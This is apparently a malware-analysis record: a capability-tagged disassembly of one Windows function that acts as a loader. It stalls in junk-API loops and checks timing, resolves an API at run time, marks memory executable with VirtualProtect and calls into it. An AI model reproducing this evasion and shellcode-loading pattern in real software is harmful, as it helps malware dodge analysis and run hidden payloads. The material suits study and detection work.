Function at 0x416a50
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Identify system language via api
Move file
Read .ini file
Resume thread
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x85c
push ebx
push esi
push edi
push 0x5d52c98
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x65f7
jne 0x416af5
cmp dword [0x5d53390], 0xf76
jne 0x416a96
push 0
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
mov edx, dword [0x4184d8]
mov ecx, dword [str.pubiyet]
mov eax, dword [0x4184dc]
push 0x7f0
mov dword [esp + 0x70], edx
mov dword [esp + 0x6c], ecx
mov ecx, dword [0x4184e0]
lea edx, [esp + 0x7c]
push 0
push edx
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], ecx
call fcn.00403b80
add esp, 0xc
lea eax, [esp + 0x868]
push eax
push 0
lea ecx, [esp + 0x70]
push ecx
push 0x6f8
push 0x5d52c98
call fcn.00401144
add esp, 0x14
mov edi, dword [sym.imp.KERNEL32.dll_SetLocalTime]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov dword [esp + 0x10], 0
lea esp, [esp]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
cmp dword [0x5d53390], 0xfc
jne 0x416b41
lea edx, [esp + 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call esi
cmp dword [0x5d53390], 0x1264
jne 0x416b6e
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
lea eax, [esp + 0x70]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
mov eax, dword [esp + 0x10]
cmp eax, 0x18f9a6
jle 0x416b97
cmp dword [esp + 0x3c], 0x21bef474
je 0x416b97
cmp dword [esp + 0x14], 0x149ad00b
je 0x416b97
cmp dword [esp + 0x44], 0x3d65ce99
jne 0x416ba7
inc eax
cmp eax, 0x3532b7b1
mov dword [esp + 0x10], eax
jl 0x416b10
mov edi, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor esi, esi
cmp dword [0x5d53390], 0x123f
jne 0x416bcd
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
cmp esi, 0x291c7
jne 0x416be1
mov ecx, dword [0x41afcc]
mov dword [0x5d53390], ecx
cmp dword [0x5d53390], 0x625
jne 0x416c03
push 0
push 0
call ebx
push 0
push edi
lea edx, [esp + 0x1c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
inc esi
cmp esi, 0x499677
jl 0x416bb3
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x39fd51
jne 0x416c3e
add dword [0x5d53390], 0xa2401
push str.kernel32.dll
push 0x41bb38
call edi
cmp dword [0x5d53390], 0x5b5
jne 0x416c59
lea eax, [esp + 0x14]
push eax
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
inc esi
cmp esi, 0x497e0f
jl 0x416c20
push 0x41bb38
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4184f4
push eax
mov dword [0x5d52c94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [0x5d52c90], eax
mov eax, dword [0x5d53390]
xor esi, esi
cmp eax, 0x262
jne 0x416cb7
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
mov eax, dword [0x5d53390]
cmp esi, 0x5aa0c
jne 0x416cd2
push eax
push 0
call dword [0x5d52c90]
mov dword [0x5d529a8], eax
mov eax, dword [0x5d53390]
inc esi
cmp esi, 0x673996
jl 0x416c96
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov dword [esp + 0x10], 0
cmp eax, 0x1266
jne 0x416d1d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
mov eax, dword [0x5d53390]
cmp dword [esp + 0x10], 0x171922
jne 0x416d33
mov edx, dword [0x41aef8]
mov dword [0x5d53394], edx
cmp eax, 0x9b2
jne 0x416d71
push 0
push 0
push 0
call esi
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
mov word [esp + 0x1c], ax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
call edi
push 0
lea edx, [esp + 0x6c]
push edx
push 0
call ebx
mov eax, dword [0x5d53390]
mov ecx, dword [esp + 0x10]
inc ecx
cmp ecx, 0x807b1d
mov dword [esp + 0x10], ecx
jl 0x416cf5
xor esi, esi
test eax, eax
jbe 0x416e19
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
lea esp, [esp]
cmp eax, 0xc29
jne 0x416dcf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.004165a0
mov eax, dword [0x5d53390]
cmp eax, 0x75d
jne 0x416e14
push 0
push 0
push 0
call edi
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TransmitCommChar]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x5d53390]
inc esi
cmp esi, eax
jb 0x416da0
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [esp + 0x14], 0x17584b
cmp eax, 0x94d
jne 0x416e70
push 0
call esi
push 0
call edi
push 0
push 0
push 0
call ebx
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
mov word [esp + 0x14], cx
mov word [esp + 0x16], dx
mov ecx, dword [esp + 0x14]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov eax, dword [0x5d53390]
sub dword [esp + 0x14], 1
jne 0x416e33
mov edi, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor esi, esi
cmp esi, 0xd26c
jne 0x416ea6
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
mov eax, dword [0x5d529a8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x5d53390]
cmp eax, 0x3fe
jne 0x416ecc
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
mov eax, dword [0x5d53390]
inc esi
cmp esi, 0x3dc4a3
jl 0x416e85
call fcn.00416930
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
mov ebx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor esi, esi
jmp 0x416ef0
cmp dword [0x5d53390], 0x768
jne 0x416f0e
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp esi, 0x4f3b6
jne 0x416f20
add dword [0x5d529a8], 0
inc esi
cmp esi, 0x270c5f
jl 0x416ef0
mov esi, dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov edi, 0xdd9a7
cmp dword [0x5d53390], 0xfe9
jne 0x416f49
lea ecx, [esp + 0x18]
push ecx
push 0
call esi
sub edi, 1
jne 0x416f34
call fcn.00416590
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret